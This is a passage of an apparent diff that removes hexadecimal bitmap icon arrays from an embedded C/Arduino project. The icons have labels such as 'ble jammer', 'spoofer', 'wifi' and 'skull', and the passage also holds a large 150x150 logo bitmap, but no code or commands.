0x08, 0x10, 0x20, 0x04, 0x11, 0x88, 0x01, 0x80, 0x01, 0x80, 0x01, 0x80, 0x01, 0x80, 0x00, 0x00 -}; -// 'flash', 16x16px -const unsigned char bitmap_icon_flash [] PROGMEM = { - 0x00, 0x00, 0x07, 0xe0, 0x07, 0xc0, 0x07, 0x80, 0x07, 0x80, 0x0f, 0x00, 0x0f, 0xe0, 0x0f, 0xc0, - 0x01, 0x80, 0x01, 0x80, 0x03, 0x00, 0x0f, 0xc0, 0x07, 0x80, 0x07, 0x00, 0x04, 0x00, 0x00, 0x00 -}; -// 'back', 16x16px -const unsigned char bitmap_icon_back [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0xf0, 0x01, 0xe0, 0x03, 0xc0, 0x07, 0x80, 0x0f, 0x00, - 0x0f, 0x00, 0x07, 0x80, 0x03, 0xc0, 0x01, 0xe0, 0x00, 0xf0, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00 -}; -// 'undo', 16x16px -const unsigned char bitmap_icon_undo [] PROGMEM = { - 0x00, 0x00, 0x01, 0x00, 0x03, 0x00, 0x07, 0xe0, 0x07, 0xe0, 0x03, 0x30, 0x09, 0x18, 0x18, 0x18, - 0x18, 0x18, 0x18, 0x18, 0x0c, 0x30, 0x07, 0xe0, 0x03, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'start', 16x16px -const unsigned char bitmap_icon_start [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x30, 0x3c, 0x38, 0x3c, 0x3c, 0x3c, 0x3e, 0x3c, 0x3f, 0x3c, 0x3f, 0xbc, - 0x3f, 0xbc, 0x3f, 0x3c, 0x3e, 0x3c, 0x3c, 0x3c, 0x38, 0x3c, 0x30, 0x3c, 0x00, 0x00, 0x00, 0x00 -}; -// 'power', 16x16px -const unsigned char bitmap_icon_power [] PROGMEM = { - 0x00, 0x00, 0x01, 0x80, 0x01, 0x80, 0x0d, 0xb0, 0x1d, 0xb8, 0x19, 0x98, 0x31, 0x8c, 0x30, 0x0c, - 0x30, 0x0c, 0x30, 0x0c, 0x18, 0x18, 0x1c, 0x38, 0x0f, 0xf0, 0x03, 0xc0, 0x00, 0x00, 0x00, 0x00 -}; -// 'sort_down_minus', 16x16px -const unsigned char bitmap_icon_sort_down_minus [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x0c, 0x00, 0x0c, 0xfc, 0x0c, 0xfc, 0x0c, 0x00, 0x0c, 0x00, - 0x0c, 0x00, 0x4c, 0x80, 0x6d, 0x80, 0x3f, 0x00, 0x1e, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'sort_up_plus', 16x16px -const unsigned char bitmap_icon_sort_up_plus [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x1e, 0x00, 0x3f, 0x00, 0x6d, 0x80, 0x4c, 0x80, 0x0c, 0x00, - 0x0c, 0x30, 0x0c, 0x30, 0x0c, 0xfc, 0x0c, 0xfc, 0x0c, 0x30, 0x0c, 0x30, 0x00, 0x00, 0x00, 0x00 -}; -// 'recycle', 16x16px -const unsigned char bitmap_icon_recycle [] PROGMEM = { - 0x00, 0x00, 0x03, 0xc0, 0x02, 0x40, 0x1f, 0xf8, 0x0f, 0xf0, 0x1f, 0xf8, 0x12, 0x48, 0x12, 0x48, - 0x12, 0x48, 0x12, 0x48, 0x12, 0x48, 0x12, 0x48, 0x12, 0x48, 0x1a, 0x58, 0x0f, 0xf0, 0x00, 0x00 -}; -// 'nullsdcard', 16x16px -const unsigned char bitmap_icon_nullsdcard [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x0f, 0xf8, 0x1d, 0x58, 0x15, 0x58, 0x17, 0xf8, 0x1c, 0x38, 0x19, 0x98, - 0x1b, 0x98, 0x1e, 0x38, 0x1e, 0xf8, 0x1f, 0xf8, 0x1e, 0xf8, 0x1f, 0xf8, 0x00, 0x00, 0x00, 0x00 -}; -// 'temp', 16x16px -const unsigned char bitmap_icon_temp [] PROGMEM = { - 0x03, 0x80, 0x04, 0x40, 0x04, 0x5c, 0x04, 0x40, 0x04, 0x5c, 0x05, 0x40, 0x05, 0x5c, 0x05, 0x40, - 0x05, 0x5c, 0x05, 0x40, 0x09, 0x20, 0x0b, 0xa0, 0x0b, 0xa0, 0x04, 0x40, 0x03, 0x80, 0x00, 0x00 -}; -// 'sdcard', 16x16px -const unsigned char bitmap_icon_sdcard [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x0f, 0xf8, 0x1d, 0x58, 0x15, 0x58, 0x17, 0xf8, 0x1f, 0xf8, 0x1f, 0xf8, - 0x1f, 0xf8, 0x1f, 0xf8, 0x1f, 0xf8, 0x1f, 0xf8, 0x1f, 0xf8, 0x1f, 0xf8, 0x00, 0x00, 0x00, 0x00 -}; -// 'ble jammer', 16x16px -const unsigned char bitmap_icon_ble_jammer [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x18, 0xc0, 0x0c, 0xa0, 0x06, 0x20, 0x03, 0x20, 0x01, 0x80, - 0x01, 0xc0, 0x03, 0xe0, 0x06, 0xb0, 0x0c, 0xb8, 0x08, 0xcc, 0x00, 0x84, 0x00, 0x00, 0x00, 0x00 -}; -// 'icon_scanner', 16x16px -const unsigned char bitmap_icon_scanner [] PROGMEM = { - 0x00, 0x00, 0x00, 0x06, 0x00, 0x06, 0x00, 0x06, 0x00, 0x66, 0x00, 0x66, 0x00, 0x66, 0x00, 0x66, - 0x06, 0x66, 0x06, 0x66, 0x06, 0x66, 0x06, 0x66, 0x66, 0x66, 0x66, 0x66, 0x00, 0x00, 0x00, 0x00 -}; -// 'character', 16x16px -const unsigned char bitmap_icon_character [] PROGMEM = { - 0x03, 0xc0, 0x07, 0xe0, 0x05, 0xa0, 0x05, 0xa0, 0x07, 0xe0, 0x07, 0xe0, 0x03, 0xc0, 0x00, 0x00, - 0x01, 0x80, 0x0f, 0xf0, 0x3f, 0xfc, 0x7f, 0xfe, 0x7f, 0xfe, 0xff, 0xff, 0xef, 0xf7, 0xef, 0xf7 -}; -// 'apple', 16x16px -const unsigned char bitmap_icon_apple [] PROGMEM = { - 0x00, 0x00, 0x00, 0x60, 0x00, 0xe0, 0x00, 0xc0, 0x00, 0x00, 0x0e, 0x70, 0x1f, 0xf0, 0x1f, 0xe0, - 0x1f, 0xe0, 0x1f, 0xe0, 0x1f, 0xf0, 0x1f, 0xf8, 0x0f, 0xf8, 0x07, 0xf0, 0x00, 0x00, 0x00, 0x00 -}; -// 'brain', 16x16px -const unsigned char bitmap_icon_brain [] PROGMEM = { - 0x0e, 0x70, 0x1f, 0x78, 0x39, 0x7c, 0x3e, 0x7c, 0x0f, 0x7c, 0x77, 0x7e, 0xff, 0x4f, 0xff, 0x37, - 0xe7, 0x7f, 0xfb, 0x7f, 0x79, 0x7e, 0x36, 0x70, 0x3f, 0x6c, 0x3f, 0x78, 0x1f, 0x78, 0x0e, 0x70 -}; -// 'ble', 16x16px -const unsigned char bitmap_icon_ble [] PROGMEM = { - 0x00, 0x00, 0x01, 0x00, 0x01, 0x80, 0x01, 0x40, 0x01, 0x20, 0x09, 0x20, 0x05, 0x40, 0x03, 0x80, - 0x03, 0x80, 0x05, 0x40, 0x09, 0x20, 0x01, 0x20, 0x01, 0x40, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00 -}; -// 'jammer', 16x16px -const unsigned char bitmap_icon_jammer [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x1f, 0x80, 0x01, 0xe0, 0x00, 0x70, 0x1e, 0x38, 0x1f, 0x18, - 0x03, 0x8c, 0x01, 0x8c, 0x38, 0xcc, 0x7c, 0xcc, 0x7c, 0xcc, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'follow', 16x16px -const unsigned char bitmap_icon_follow [] PROGMEM = { - 0x00, 0x3c, 0x00, 0x7e, 0x00, 0x7e, 0x00, 0x3c, 0x00, 0x18, 0x78, 0x3c, 0xfc, 0x7e, 0xfc, 0x7e, - 0x78, 0x00, 0x30, 0x18, 0x78, 0x3c, 0xfc, 0x7e, 0xfc, 0x18, 0xfd, 0xf8, 0xfd, 0xf0, 0x78, 0x00 -}; -// 'kill', 16x16px -const unsigned char bitmap_icon_kill [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x03, 0xc0, 0x0f, 0xf0, 0x0f, 0xf0, 0x1f, 0xf8, 0x31, 0x8c, 0x21, 0x84, - 0x21, 0x84, 0x21, 0x84, 0x33, 0xcc, 0x1e, 0x78, 0x0e, 0x70, 0x0d, 0xb0, 0x0d, 0xb0, 0x00, 0x00 -}; -// 'key', 16x16px -const unsigned char bitmap_icon_key [] PROGMEM = { - 0x07, 0xe0, 0x0f, 0xf0, 0x1c, 0x38, 0x18, 0x18, 0x18, 0x18, 0x1c, 0x38, 0x0f, 0xf0, 0x07, 0xe0, - 0x00, 0x00, 0x01, 0x80, 0x01, 0x80, 0x01, 0xb8, 0x01, 0xb8, 0x01, 0xa0, 0x01, 0xb8, 0x01, 0xb8 -}; -// 'dialog', 16x16px -const unsigned char bitmap_icon_dialog [] PROGMEM = { - 0x00, 0x00, 0x3f, 0xfc, 0x7f, 0xfe, 0xff, 0xff, 0xc0, 0x23, 0xff, 0xff, 0xc8, 0x03, 0xff, 0xff, - 0xc0, 0x43, 0xff, 0xff, 0xff, 0xff, 0x7f, 0xfe, 0x3f, 0xfc, 0x00, 0xe0, 0x00, 0x60, 0x00, 0x20 -}; -// 'question', 16x16px -const unsigned char bitmap_icon_question [] PROGMEM = { - 0x07, 0xe0, 0x1f, 0xf8, 0x3f, 0xfc, 0x7e, 0x7c, 0x7c, 0x3c, 0x38, 0x3c, 0x00, 0x7c, 0x03, 0xf8, - 0x07, 0xf0, 0x07, 0xc0, 0x03, 0x80, 0x00, 0x00, 0x03, 0x80, 0x07, 0xc0, 0x07, 0xc0, 0x03, 0x80 -}; -// 'save', 16x16px -const unsigned char bitmap_icon_save [] PROGMEM = { - 0x6f, 0xf6, 0xef, 0x97, 0xef, 0x97, 0xef, 0x95, 0xef, 0xf7, 0xf0, 0x0f, 0xff, 0xff, 0xc0, 0x03, - 0xdf, 0xfb, 0xd0, 0x0b, 0xdf, 0xfb, 0xd0, 0x0b, 0xdf, 0xfb, 0xc0, 0x03, 0xff, 0xff, 0x7f, 0xfe -}; -// 'spoofer', 16x16px -const unsigned char bitmap_icon_spoofer [] PROGMEM = { - 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x33, 0x80, 0x3a, 0xc8, 0x1e, 0x4c, 0x0f, 0x84, 0x07, 0x24, - 0x07, 0x24, 0x0f, 0x84, 0x1e, 0x4c, 0x3a, 0xc8, 0x33, 0x80, 0x03, 0x00, 0x02, 0x00, 0x00, 0x00 -}; -// 'setting', 16x16px -const unsigned char bitmap_icon_setting [] PROGMEM = { - 0x03, 0xc0, 0x13, 0xc8, 0x3b, 0xdc, 0x7f, 0xfe, 0x3f, 0xfc, 0x1c, 0x38, 0xf8, 0x1f, 0xf8, 0x1f, - 0xf8, 0x1f, 0xf8, 0x1f, 0x1c, 0x38, 0x3f, 0xfc, 0x7f, 0xfe, 0x3b, 0xdc, 0x13, 0xc8, 0x03, 0xc0 -}; -// 'skull', 16x16px -const unsigned char bitmap_icon_skull [] PROGMEM = { - 0x0f, 0xf0, 0x3f, 0xfc, 0x7f, 0xfe, 0x7f, 0xfe, 0xf3, 0xcf, 0xe1, 0x87, 0xe1, 0x87, 0xf3, 0xcf, - 0x7f, 0xfe, 0x3f, 0xfc, 0x3f, 0xfc, 0x3f, 0xfc, 0x0d, 0xb0, 0x0d, 0xb0, 0x0d, 0xb0, 0x00, 0x00 -}; -// 'stat', 16x16px -const unsigned char bitmap_icon_stat [] PROGMEM = { - 0x7f, 0xfe, 0xff, 0xff, 0xc0, 0x03, 0xc0, 0x83, 0xc0, 0x83, 0xc1, 0x47, 0xc1, 0x47, 0xd1, 0x2b, - 0xd2, 0x2b, 0xea, 0x13, 0xea, 0x13, 0xc4, 0x03, 0xc4, 0x03, 0xc0, 0x03, 0xff, 0xff, 0x7f, 0xfe -}; -// 'sword', 16x16px -const unsigned char bitmap_icon_sword [] PROGMEM = { - 0x00, 0x07, 0x00, 0x0f, 0x00, 0x1f, 0x00, 0x3e, 0x00, 0x7c, 0x00, 0xf8, 0x01, 0xf0, 0x33, 0xe0, - 0x3b, 0xc0, 0x1d, 0x80, 0x0e, 0x00, 0x17, 0x00, 0x3b, 0x80, 0xf1, 0x80, 0xe0, 0x00, 0xe0, 0x00 -}; -// 'signal', 16x16px -const unsigned char bitmap_icon_signal [] PROGMEM = { - 0x07, 0xe0, 0x1f, 0xf8, 0x7f, 0xfe, 0xff, 0xff, 0xff, 0xff, 0xf0, 0x0f, 0x40, 0x02, 0x0f, 0xf0, - 0x3f, 0xfc, 0x3f, 0xfc, 0x1c, 0x38, 0x10, 0x08, 0x03, 0xc0, 0x0f, 0xf0, 0x0e, 0x70, 0x04, 0x20 -}; -// 'analyzer', 16x16px -const unsigned char bitmap_icon_analyzer [] PROGMEM = { - 0x00, 0x00, 0x03, 0xf0, 0x00, 0x08, 0x01, 0xe4, 0x00, 0x12, 0x00, 0xca, 0x06, 0x2a, 0x07, 0x2a, - 0x07, 0x8a, 0x07, 0xc2, 0x07, 0xc0, 0x0a, 0x00, 0x1f, 0x00, 0x20, 0x80, 0x7f, 0xc0, 0x00, 0x00 -}; -// 'wifi', 16x16px -const unsigned char bitmap_icon_wifi [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x0f, 0xf0, 0x38, 0x1c, 0x60, 0x06, 0xc7, 0xe3, 0x1c, 0x38, 0x30, 0x0c, - 0x01, 0x80, 0x07, 0xe0, 0x0c, 0x30, 0x00, 0x00, 0x01, 0x80, 0x01, 0x80, 0x00, 0x00, 0x00, 0x00 -}; -// 'wifi2', 16x16px -const unsigned char bitmap_icon_wifi2 [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x03, 0x80, 0x0f, 0xe0, 0x38, 0x38, 0x60, 0x0c, 0xc3, 0x86, 0x0f, 0xe0, - 0x18, 0x30, 0x30, 0x18, 0x03, 0x80, 0x07, 0xc0, 0x07, 0xc0, 0x03, 0x80, 0x00, 0x00, 0x00, 0x00 -}; - -const unsigned char bitnull [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; - -// 'Untitled-1', 150x150px -const unsigned char bitmap_icon_cifer [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x3f, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xf0, 0x00, 0x00, 0x07, 0xf8, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x3f, 0x80, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, - 0x00, 0x03, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0xff, 0x80, 0x00, 0x03, 0xe0, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0xff, 0xff, 0xfe, 0x00, 0x00, 0xf8, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xff, 0xff, 0xff, 0xff, - 0xe0, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xfe, - 0x00, 0x00, 0x1f, 0xfc, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x3f, 0xe0, 0x00, 0x00, 0x00, 0xff, 0x80, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00, 0x1f, 0xe1, 0xf0, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x03, 0xf3, 0xe0, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xff, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, - 0x00, 0x00, 0x1e, 0x07, 0xf8, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, - 0x00, 0x00, 0x7c, 0x00, 0x03, 0xfe, 0x07, 0xff, 0x80, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x80, 0x00, - 0x00, 0x3f, 0xf8, 0x00, 0x00, 0x3e, 0x00, 0x1f, 0xfe, 0x07, 0xff, 0xf0, 0x00, 0x00, 0x00, 0x00, - 0xff, 0xf0, 0x00, 0x00, 0xff, 0xfe, 0x00, 0x00, 0x1f, 0x00, 0x7f, 0xfe, 0x07, 0xff, 0xfc, 0x00, - 0x00, 0x00, 0x03, 0xff, 0xfc, 0x00, 0x03, 0xff, 0xff, 0x80, 0x00, 0x0f, 0x03, 0xff, 0xfe, 0x07, - 0xff, 0xff, 0x80, 0x00, 0x00, 0x07, 0xff, 0xfe, 0x00, 0x03, 0xff, 0xff, 0xc0, 0x00, 0x04, 0x07, - 0xff, 0xfe, 0x07, 0xff, 0xff, 0xc0, 0x00, 0x00, 0x1f, 0xff, 0xfe, 0x00, 0x00, 0xff, 0xff, 0xe0, - 0x00, 0x00, 0x1f, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xf0, 0x00, 0x00, 0x1f, 0xff, 0xf8, 0x00, 0x00, - 0x3f, 0xff, 0xf0, 0x00, 0x00, 0x7f, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xfc, 0x00, 0x00, 0x3f, 0xff, - 0xc0, 0x00, 0x00, 0x0f, 0xff, 0xf8, 0x00, 0x00, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xfe, 0x00, - 0x00, 0x7f, 0xff, 0x00, 0x00, 0x00, 0x03, 0xff, 0xf8, 0x00, 0x01, 0xff, 0xff, 0xfe, 0x07, 0xff, - 0xff, 0xff, 0x00, 0x00, 0x7f, 0xfc, 0x00, 0x00, 0x00, 0x00, 0xff, 0xf8, 0x00, 0x07, 0xff, 0xff, - 0xfe, 0x07, 0xff, 0xff, 0xff, 0xc0, 0x00, 0xff, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x3f, 0xfc, 0x00, - 0x0f, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xe0, 0x00, 0xff, 0xe0, 0x00, 0x00, 0x00, 0x00, - 0x3f, 0xfc, 0x00, 0x1f, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xf0, 0x00, 0xff, 0xe0, 0x00, - 0x00, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0x3f, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xf8, 0x03, - 0xff, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x3f, 0xff, 0x80, 0x7f, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, - 0xff, 0xfc, 0x0f, 0xff, 0xe0, 0x00, 0x00, 0xc0, 0x00, 0x3f, 0xff, 0xe0, 0xff, 0xff, 0xff, 0xfe, - 0x07, 0xff, 0xff, 0xff, 0xfe, 0x3f, 0xff, 0xe0, 0x00, 0x1c, 0xf0, 0x00, 0x1f, 0xff, 0xf8, 0xff, - 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xfe, 0x3f, 0xff, 0xe0, 0x00, 0x7c, 0xf8, 0x00, 0x1f, - 0xff, 0xf9, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0x1f, 0xff, 0xe0, 0x01, 0xfc, - 0xfe, 0x00, 0x3f, 0xff, 0xf3, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0x9f, 0xff, - 0xf8, 0x07, 0xf8, 0x7f, 0x80, 0x7f, 0xff, 0xe7, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, - 0xff, 0xcf, 0xff, 0xfe, 0x1f, 0xf8, 0x7f, 0xe1, 0xff, 0xff, 0xe7, 0xff, 0xff, 0xff, 0xfe, 0x07, - 0xff, 0xff, 0xff, 0xff, 0xcf, 0xff, 0xff, 0x7f, 0xf8, 0x7f, 0xff, 0xff, 0xff, 0xcf, 0xff, 0xff, - 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xe7, 0xff, 0xff, 0xff, 0xf0, 0x3f, 0xff, 0xff, 0xff, - 0xcf, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xe3, 0xff, 0xff, 0xff, 0xf0, 0x3f, - 0xff, 0xff, 0xff, 0x9f, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xf3, 0xff, 0xff, - 0xff, 0xe0, 0x1f, 0xff, 0xff, 0xff, 0x9f, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, - 0xf1, 0xff, 0xff, 0xff, 0xe0, 0x0f, 0xff, 0xff, 0xff, 0x3f, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, - 0xff, 0xff, 0xff, 0xf9, 0xff, 0xff, 0xff, 0xc0, 0x07, 0xff, 0xff, 0xff, 0x3f, 0xff, 0xff, 0xff, - 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xf9, 0xff, 0xff, 0xff, 0x80, 0x03, 0xff, 0xff, 0xfe, 0x7f, - 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xfc, 0xff, 0xff, 0xff, 0x00, 0x01, 0xff, - 0xff, 0xfe, 0x7f, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xfc, 0xff, 0xff, 0xfc, - 0x00, 0x00, 0x7f, 0xff, 0xfe, 0x7f, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xfc, - 0xff, 0xff, 0xf0, 0x00, 0x00, 0x0f, 0xc1, 0xfe, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, - 0xff, 0xff, 0xfe, 0x7c, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7c, 0xff, 0xff, 0xff, 0xff, 0xfe, - 0x07, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0xff, 0xff, - 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x04, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, - 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, - 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xff, 0xff, 0xff, - 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, - 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x01, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xff, 0xff, 0xff, 0xff, - 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xfe, - 0x03, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xff, 0xff, 0xff, 0xff, - 0xfe, 0x07, 0xf0, 0x00, 0x07, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xff, - 0xff, 0xff, 0xff, 0xfe, 0x07, 0xe0, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x01, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x07, 0xc0, 0x00, 0x00, 0x0f, 0xfe, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 